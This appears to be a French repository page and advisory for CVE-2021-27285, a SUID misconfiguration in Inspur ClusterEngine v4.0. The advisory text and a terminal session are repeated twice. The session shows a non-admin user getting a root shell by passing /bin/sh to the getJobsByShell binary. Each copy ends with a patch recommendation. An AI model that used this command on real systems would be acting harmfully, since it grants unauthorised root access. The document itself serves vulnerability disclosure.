fjh1997/cve-2021-27285Preuve de concept d'exploitation pour la mauvaise configuration SUID de Inspur ClusterEngine (CVE-2021-27285) permettant aux utilisateurs non administrateurs d'élever leurs privilèges à root via le composant getJobsByShell.
La plateforme de gestion de cluster Inspur ClusterEngine est un logiciel de gestion des tâches spécialement conçu pour la série de produits HPC Inspur TianSuo. Un problème de configuration incorrecte de suid dans Inspur ClusterEngine permet aux utilisateurs non administrateurs d'élever leurs privilèges et d'obtenir un accès root via certains composants.
Inspur ClusterEngine v4.0 présente un problème de configuration suid incorrecte avec le composant "/opt/tsce4/torque6/bin/getJobsByShell", permettant aux utilisateurs non administrateurs d'obtenir un accès root via l'élévation de privilèges suid.
Le processus d'élévation de privilèges est le suivant :
[inspur@mu01 ~]$ whoami
inspur
[inspur@mu01 ~]$ /opt/tsce4/torque6/bin/getJobsByShell /bin/sh
sh-4.2# whoami
root
sh-4.2#
Recommandation : Mettez à niveau les composants concernés.
La plateforme de gestion de cluster Inspur ClusterEngine est un logiciel de gestion des tâches spécialement conçu pour la série de produits HPC Inspur TianSuo. Une erreur de configuration des paramètres SUID d'Inspur ClusterEngine permet aux utilisateurs non administrateurs d'élever leurs privilèges et d'obtenir un accès root via certains composants.
Inspur ClusterEngine v4.0 présente un problème de configuration SUID incorrecte avec le composant "/opt/tsce4/torque6/bin/getJobsByShell", permettant aux utilisateurs non administrateurs d'élever leurs privilèges et d'obtenir un accès root via le mécanisme SUID.
Le processus d'élévation de privilèges est le suivant :
[inspur@mu01 ~]$ whoami
inspur
[inspur@mu01 ~]$ /opt/tsce4/torque6/bin/getJobsByShell /bin/sh
sh-4.2# whoami
root
sh-4.2#
Avis : Appliquez les correctifs aux composants concernés.